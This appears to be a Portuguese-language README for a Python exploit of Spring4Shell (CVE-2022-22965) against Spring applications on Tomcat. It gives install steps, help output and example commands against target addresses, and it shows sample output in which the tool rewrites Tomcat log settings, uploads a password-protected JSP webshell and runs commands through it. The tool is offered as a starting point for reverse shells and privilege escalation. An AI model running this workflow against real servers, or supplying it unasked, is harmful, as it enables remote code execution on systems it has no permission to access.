
spring4shell | CVE-2022-22965
uma implementação em python do CVE-2022-22965 que fornece um prompt ao usuário no estilo de uma sessão ssh.
o script é projetado para ser fácil de entender e executar, com legibilidade e acessibilidade - dependendo da escolha do usuário. Projetado para explorar a vulnerabilidade em servidores tomcat. O campo fileDateFormat no servidor será definido e desfeito como parte do script, o que permite que o exploit seja executado várias vezes. Pode ser necessária uma limpeza.
vulnerabilidade encontrada no
java spring framework anterior à versão 5.2, bem como nas versões 5.3.0-17 e 5.2.0-19 e executando em uma versão do Java Development Kit maior ou igual a 9.
Mais informações:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
os módulos requests e BeautifulSoup são necessários para que o exploit seja executado. eles podem ser instalados com:
pip3 install bs4
pip3 install requests
todos os outros módulos já são nativos do python3.
o script requer apenas a url do servidor vulnerável para ser executado. no entanto, existem outras flags para facilitar o acesso, etc.
saída do --help:
usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address
spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.
positional arguments:
address ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
name of the file to create and upload
-p PASSWORD, --password PASSWORD
password to protect the uploaded shell
-d DIRECTORY, --directory DIRECTORY
The upload path for the file
-a, --accessible turns off features which may negatively affect screen readers
-n, --no-colour removes colour output
example:
spring4shell_v3.py http://10.10.10.10/
spring4shell_v3.py http://hostname:8080/ -p 'password123'
spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'
exemplo de saída:
./spring4shell http://spring-vuln.local
/ / | / / /
___ ___ ___ ___ ___ (___| ___ (___ ___ ( (
|___ | )| )| | )| ) )|___ | )|___)| |
__/ |__/ | | | / |__/ / __/ | / |__ | |
| __/
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service
spring4shell:[email protected] $
nem é preciso dizer que o script não fornece ao usuário um shell completo, mas é projetado como uma plataforma para obter um reverse shell completo, privesc, etc, no alvo.
O script tenta capturar o usuário/serviço que executa o servidor vulnerável para que ele possa ser usado como parte do pseudo prompt de comando no programa, embora isso nem sempre seja confiável.
o script foi principalmente um exercício de programação em python para um único exploit, tendo em mente tanto a legibilidade quanto a acessibilidade. projetado para facilidade de uso e compreensão. tenta lidar com exceções comuns.
https://skerritt.blog/a11y/ - implementação de acessibilidade.